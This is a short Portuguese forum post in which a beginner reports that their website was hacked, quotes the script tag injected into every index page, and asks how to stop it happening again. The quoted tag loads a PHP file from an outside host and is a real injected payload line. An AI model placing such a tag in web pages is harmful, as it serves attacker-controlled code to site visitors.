Como Impedir que meu Site seja Invadido Novamente DIcas de Segurança

AMigos

Meu site foi invadido e injetaram em todos os INDEX o Código

<script src=http://phitsanulok2.go.th/eoffice/BG/xr3r/head_n.php ></script>

Agora tenho que limpar todo o código.

Amigos

Como posso Evitar que isso aconteça novamente?

Sou novato e preciso de AJuda

Grato!!!